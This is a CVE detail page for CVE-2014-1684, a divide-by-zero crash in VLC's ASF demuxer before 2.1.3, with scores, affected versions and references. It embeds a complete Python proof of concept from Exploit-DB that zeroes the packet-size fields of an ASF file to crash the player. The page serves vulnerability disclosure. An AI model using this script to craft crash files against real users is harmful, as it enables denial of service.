CVE-2014-1684 : Detail

CVE-2014-1684

56.14%V3
Network
2014-03-03
15h00 +00:00
2017-06-30
14h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The ASF_ReadObject_file_properties function in modules/demux/asf/libasf.c in the ASF Demuxer in VideoLAN VLC Media Player before 2.1.3 allows remote attackers to cause a denial of service (divide-by-zero error and crash) via a zero minimum and maximum data packet size in an ASF file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 31429

Publication date : 2014-02-04 23h00 +00:00
Author : Saif
EDB Verified : No

#!/usr/bin/python # VLC Media Player up to 2.1.2 DOS POC Integer Division By zero in ASF Demuxer # VLC Media Player is prone to DOS utilizing a division by zero error if minimium data packet size # is equal to zero. this was tested on windows XP sp3 and affects all versions of vlc till latest 2.1.2 # to run this script you need to install python bitstring module # usage you supply any valid asf and the script will produxe a POC asf that will crash vlc import sys from bitstring import BitArray f = open(sys.argv[1],'r+b') f.seek(0,2) size = f.tell() print "[*] file size: %d" % size f.seek(0,0) print "[*] ReeeeeWWWWWWiiiiiNNNNNNND" fb = BitArray(f) index = fb.find('0xa1dcab8c47a9cf118ee400c00c205365',bytealigned=True) print "[*] found file properties GUID" print "[*] File properties GUID: %s" % fb[index[0]:(index[0]+128)] # index of minumum packet size in File Proprties header i_min_data_pkt_size = index[0] + 736 print "[*] Original Minimum Data Packet Size: %s" % fb[i_min_data_pkt_size:i_min_data_pkt_size+32].hex print "[*] Original Maximum Data Packet Size: %s" % fb[i_min_data_pkt_size+32:i_min_data_pkt_size+64].hex # Accroding to ASF standarad the minimum data size and the maximum data size should be equal print "[*] Changing Miniumum and Maximum Data packet size to 0" # changing the data packets in bit array fb[i_min_data_pkt_size:i_min_data_pkt_size+8] = 0x00 fb[i_min_data_pkt_size+8:i_min_data_pkt_size+16] = 0x00 fb[i_min_data_pkt_size+16:i_min_data_pkt_size+24] = 0x00 fb[i_min_data_pkt_size+24:i_min_data_pkt_size+32] = 0x00 fb[i_min_data_pkt_size+32:i_min_data_pkt_size+40] = 0x00 fb[i_min_data_pkt_size+40:i_min_data_pkt_size+48] = 0x00 fb[i_min_data_pkt_size+48:i_min_data_pkt_size+56] = 0x00 fb[i_min_data_pkt_size+56:i_min_data_pkt_size+64] = 0x00 print "[*] POC File Created poc.asf" of = open('poc.asf','w+b') fb.tofile(of) of.close() f.close()

Products Mentioned

Configuraton 0

Videolan>>Vlc_media_player >> Version To (including) 2.1.2

Videolan>>Vlc_media_player >> Version 1.0.0

Videolan>>Vlc_media_player >> Version 1.0.1

Videolan>>Vlc_media_player >> Version 1.0.2

Videolan>>Vlc_media_player >> Version 1.0.3

Videolan>>Vlc_media_player >> Version 1.0.4

Videolan>>Vlc_media_player >> Version 1.0.5

Videolan>>Vlc_media_player >> Version 1.0.6

Videolan>>Vlc_media_player >> Version 1.1.0

Videolan>>Vlc_media_player >> Version 1.1.1

Videolan>>Vlc_media_player >> Version 1.1.2

Videolan>>Vlc_media_player >> Version 1.1.3

Videolan>>Vlc_media_player >> Version 1.1.4

Videolan>>Vlc_media_player >> Version 1.1.4.1

Videolan>>Vlc_media_player >> Version 1.1.5

Videolan>>Vlc_media_player >> Version 1.1.6

Videolan>>Vlc_media_player >> Version 1.1.6.1

Videolan>>Vlc_media_player >> Version 1.1.7

Videolan>>Vlc_media_player >> Version 1.1.8

Videolan>>Vlc_media_player >> Version 1.1.9

Videolan>>Vlc_media_player >> Version 1.1.10

Videolan>>Vlc_media_player >> Version 1.1.10.1

Videolan>>Vlc_media_player >> Version 1.1.11

Videolan>>Vlc_media_player >> Version 1.1.12

Videolan>>Vlc_media_player >> Version 1.1.13

Videolan>>Vlc_media_player >> Version 2.0.0

Videolan>>Vlc_media_player >> Version 2.0.1

Videolan>>Vlc_media_player >> Version 2.0.2

Videolan>>Vlc_media_player >> Version 2.0.3

Videolan>>Vlc_media_player >> Version 2.0.4

Videolan>>Vlc_media_player >> Version 2.0.5

Videolan>>Vlc_media_player >> Version 2.0.6

Videolan>>Vlc_media_player >> Version 2.0.7

Videolan>>Vlc_media_player >> Version 2.0.8

Videolan>>Vlc_media_player >> Version 2.0.9

Videolan>>Vlc_media_player >> Version 2.1.0

Videolan>>Vlc_media_player >> Version 2.1.1

References

http://www.elsherei.com/?p=269
Tags : x_refsource_MISC
https://security.gentoo.org/glsa/201603-08
Tags : vendor-advisory, x_refsource_GENTOO